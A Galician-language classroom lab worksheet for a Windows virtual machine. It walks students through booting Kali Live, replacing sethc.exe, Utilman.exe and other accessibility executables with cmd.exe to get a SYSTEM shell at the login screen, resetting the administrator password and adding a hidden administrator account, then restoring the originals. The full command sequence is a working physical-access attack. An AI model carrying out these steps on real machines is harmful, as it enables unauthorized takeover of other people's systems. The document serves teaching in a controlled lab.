Taller BRS - Allow Boot CD/DVD/USB MS Windows

ESCENARIO

Máquina virtual ou física:
RAM ≤ 2048MB CPU ≤ 2 PAE/NX habilitado
Sistema operativo instalado: Microsoft Windows 64bits
ISO/CD/DVD/USB: Kali Live amd64
BIOS: Permite arranque dispositivo extraíble: CD/DVD, USB

Táboa. Combinación de teclas

Executable C:\Windows\System32	Atallos de teclado	Descrición
sethc.exe	Premer 5 veces a tecla Shift (Maiúsculas): <⇧>	Teclas especiais (Accesibilidade)
Magnify.exe	Premer a mesmo tempo a tecla Windows e a tecla símbolo suma: <Windows>+<+>	Lupa
Narrator.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<Enter>	Axuda narrador lendo en voz alta
osk.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<o>	Teclado en pantalla
Utilman.exe	Premer ao mesmo tempo as teclas: <Windows>+<u>	Utilidades

LIMITACIÓN DE RESPONSABILIDADE O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

NOTAS:

- **URL - Métodos abreviados de teclado de Windows**

1. Crear unha máquina virtual coa seguinte configuración (ver escenario):
   - Nome: Allow Boot CD USB
   - Tipo: Microsoft Windows
   - Versión: Windows 10 (64-bit)
   - RAM ≥ 2048MB
   - Orde de arranque: Óptica/Disco duro
   - CPU ≥ 2
   - PAE/NX habilitado
   - Almacenamento:
     - Unidade óptica(ISO): **Microsoft Windows 10 Enterprise**
     - Disco duro dinámico de 80GB
   - Rede: Soamente unha tarxeta activada en modo NAT

2. Instalar o sistema operativo MS Windows x64 seguindo os pasos do instalador coas seguintes características:
   - Idioma/Teclado: Español
   - Particionamento (sen cifrar): Todo o disco duro
   - Nome de usuario: usuario
   - Contrasinal: abc123. (Ollo que o contrasinal ten un caracter punto final)

3. **Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado**

4. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**.

   Os aplicativos executarán o esperado.
   NOTA: En Windows 10 Enterprise Evaluation a combinación de teclas para o teclado virtual(osk.exe) non funciona.

5. **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.

6. **Arrancar coa Kali Live amd64**

7. Na contorna gráfica abrir un terminal e executar:

   $ setxkbmap es #Cambiar o mapa de teclado ao idioma español.

   $ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)

   # fdisk -l /dev/sda #Lista a táboa de particións do disco /dev/sda e logo remata.

   # mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali.

   # mount -t auto /dev/sda2 /mnt #Montar a partición 2 do disco duro /dev/sda no directorio da live /mnt. Coa opción -t auto solicitamos ao comando mount a autodetección do sistema de ficheiros de montaxe. Poderiamos tamén empregar o comando **ntfs-3g /dev/sda2 /mnt** , o cal xa traballa directamente co sistema de ficheiros NTFS..

   # mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali. Neste caso verificamos que a última liña refírese ao punto de montaxe /mnt onde podemos traballar coa partición /dev/sda2.

   # cd /mnt/Windows/System32 #Acceder ao directorio do sistemas operativo Microsoft Windows C:\Windows\System32, o cal está montado en /mnt/Windows/System32

   # for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do mv $i old.$i; done #Mover os executables **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** a **old.sethc.exe**, **old.Magnify.exe**, **old.Narrator**, **old.osk.exe** e **old.Utilman.exe** respectivamente

   # for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do cp -pv cmd.exe $i; done #Copiar o executable **cmd.exe** en **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** en modo verbose (detallado) e preservando permisos e datas.

   # cd #Acceder ao directorio de traballo do usuario, neste caso, acceder a /root

   # umount /mnt #Desmontar (deixar de facer uso) a partición primaria /dev/sda2 que estaba montada en /mnt

   # init 0 #Apagar a máquina enviando o sinal de apagado mediante o runlevel 0

8. **Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado**

9. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**.

   Agora cada vez que empreguemos unha combinación de teclas presente na Táboa en vez de executarse o aplicativo esperado executarase a consola de comandos **cmd** e non soamente iso, senón que na sesión aberta somos a conta de usuario **NT AUTHORITY\SYSTEM**
   NT AUTHORITY\SYSTEM, comunmente coñecido como **SYSTEM**, é unha conta de usuario especial integrada nos sistemas operativos Windows. Esta conta ten un nivel de permisos extremadamente alto e é empregada polo sistema operativo para executar procesos e servizos que requiren acceso completo ao sistema.

   - Características principais da conta **SYSTEM**:
     1. **Privilexios máximos**:
        - A conta SYSTEM ten permisos incluso superiores aos de un usuario administrador típico. Pode acceder e modificar calquera parte do sistema, incluso ficheiros protexidos do sistema, configuracións de seguridade e oturos elementos críticos.
     2. **Propósito**:
        - É empregada principalmente por servizos do sistema e outros procesos críticos que requiren acceso de baixo nivel ao hardware, ao kernel, e a recursos protexidos.
        - A conta SYSTEM emprégase para tarefas como a administración de discos, o acceso a hardware, a instalación de controladores, y a xestión de actualizacións.
     3. **Automatización e execución en segundo plano**:
        - Os servizos de Windows, como o Servizo de actualización de Windows, o Servizo de impresión o Servizo de rede, soen executarse baixo a conta SYSTEM, o que lles dá as capacidades necesarias para funcionar sen intervención directa do usuario.
     4. **Non está destinada para uso interactivo**:
        - Os usuarios non inician sesión directamente na conta SYSTEM. É utilizada unicamente polo sistema operativo e aplicacións con privilexios elevados. Se ben existen formas de executar procesos como SYSTEM (por exemplo, usando ferramentas como `PsExec`), non é unha práctica recomendada para tarefas cotiás.

   - Diferencias con outras contas:
     - **Administrador**: A conta de administrador tamén ten moitos permisos, pero algúns procesos críticos do sistema requiren permisos aínda mais altos, que soamente a conta SYSTEM posúe.
     - **Servizo de Rede (NT AUTHORITY\NETWORK SERVICE)** e **Servizo Local (NT AUTHORITY\LOCAL SERVICE)**: Estas contas teñen permisos mais limitados en comparación con SYSTEM e soen ser utilizadas por servizos que non necesitan acceso completo ao sistema.

   - Riscos:
     Dado que SYSTEM ten permisos tan elevados, calquera aplicación ou servizo que sexa comprometido e esté executándose como SYSTEM pode facer cambios importantes no sistema, o que podería poñer en risco a súa integridade. Por iso, a seguridade en torno a esta conta é crítica.

10. Na consola que aparece executar os seguintes comandos:

> whoami Indica o nome de usuario co que estás conectado actualmente ao sistema: **nt authority\system**
> net help user Amosa unha axuda detallada sobre os comandos relacionados coa xestión de usuarios
> net user Sen ningún argumento adicional, amosa unha lista de todos os usuarios do sistema, incluíndo o seu nome, comentarios e estado.
> net user administrador Amosa información específica sobre o usuario "administrador".
> net user administrador /active:yes Activa a conta de usuario "administrador". Se estaba desactivada, este comando permítelle volver a usala.
> net user administrador abc123. Cambia o contrasinal do usuario "administrador" a "abc123."
> net user testing abc123. /add /logonpasswordchg:no Crea un novo usuario chamado "testing" co contrasinal "abc123." A opción "/add" indica que se está creando un novo usuario e a opción "/logonpasswordchg:no" impide que o usuario cambie a contrasinal automaticamente na primeira vez que entra.
> net user Sen ningún argumento adicional, amosa unha lista de todos os usuarios do sistema, incluíndo o seu nome, comentarios e estado.
> net user testing Amosa información detallada sobre o usuario "testing" que se acaba de crear.
> net help localgroup Amosa unha axuda detallada sobre os comandos relacionados con a xestión de grupos locais.
> net localgroup Sen ningún argumento adicional, amosa unha lista de todos os grupos locais definidos no sistema.
> net localgroup usuarios Amosa os membros do grupo local "usuarios". Este grupo normalmente contén todas as contas de usuario estándar.
> net localgroup administradores Amosa os membros do grupo local "administradores". Este grupo ten privilexios administrativos no sistema.
> net localgroup administradores testing /add Engade o usuario "testing" ao grupo local "administradores", dándolle así privilexios administrativos.
> net localgroup administradores Amosa os membros do grupo local "administradores", no cal agora está o usuario "testing".
> net user testing Amosa información detallada sobre o usuario "testing", na cal agora veremos que o usuario "testing" pertence ao grupo "Administradores".
> net localgroup usuarios Amosa os membros do grupo local "usuarios".
> net localgroup usuarios testing /delete Elimina o usuario "testing" do grupo local "usuarios".
> net localgroup usuarios Amosa os membros do grupo local "usuarios". Agora o usuario "testing" xa non pertence ao grupo local "usuarios".
> net user testing Amosa información detallada sobre o usuario "testing", na cal agora veremos que o usuario "testing" xa non pertence ao grupo "usuarios".

11. Acceder co usuario ***testing*** e unha vez creado o seu perfil probar o exposto na **Táboa. Combinación de teclas**.

    OLLO!: Agora os aplicativos abren unha consola de comandos **cmd** pero se executamos o comando **whoami** observamos que somos o usuario **testing**

12. Pechar sesión do usuario ***testing***.

13. Acceder co usuario ***administrador*** e unha vez creado o seu perfil probar o exposto na **Táboa. Combinación de teclas**.

    OLLO!: Agora os aplicativos abren unha consola de comandos **cmd** pero se executamos o comando **whoami** observamos que somos o usuario **administrador**

14. Pechar sesión do usuario ***administrador***.

15. Antes de iniciar sesión con calquera outro usuario probar o exposto na **Táboa. Combinación de teclas**.

    Agora, de novo, cada vez que empreguemos unha combinación de teclas presente na Táboa voltará a executarse a consola de comandos **cmd** e non soamente iso, senón que na sesión aberta somos a conta de usuario **NT AUTHORITY\SYSTEM**

16. **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.

17. **Arrancar coa Kali Live amd64**

18. Na contorna gráfica abrir un terminal e executar:
    $ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
    $ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)
        # fdisk -l /dev/sda #Lista a táboa de particións do disco /dev/sda e logo remata.
        # mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali.
        # mount -t auto /dev/sda2 /mnt #Montar a partición 2 do disco duro /dev/sda no directorio da live /mnt. Coa opción -t auto solicitamos ao comando mount a autodetección do sistema de ficheiros de montaxe. Poderiamos tamén empregar o comando **ntfs-3g /dev/sda2 /mnt** , o cal xa traballa directamente co sistema de ficheiros NTFS..
        # mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali. Neste caso verificamos que a última liña refírese ao punto de montaxe /mnt onde podemos traballar coa partición /dev/sda2.
        # cd /mnt/Windows/System32 #Acceder ao directorio do sistemas operativo Microsoft Windows C:\Windows\System32, o cal está montado en /mnt/Windows/System32
        # for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do mv old.$i $i; done #Mover os executables **old.sethc.exe**, **old.Magnify.exe**, **old.Narrator**, **old.osk.exe** e **old.Utilman.exe** a **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** respectivamente, é dicir, devolver ao estado orixinal os executables que foron cambiados por **cmd.exe**
        # cd #Acceder ao directorio de traballo do usuario, neste caso, acceder a /root
        # umount /mnt #Desmontar (deixar de facer uso) a partición primaria /dev/sda2 que estaba montada en /mnt
        # init 0 #Apagar a máquina enviando o sinal de apagado mediante o runlevel 0

19. **Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado**

20. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**.
    Agora os aplicativos abren o esperado.

Ricardo Feijoo Costa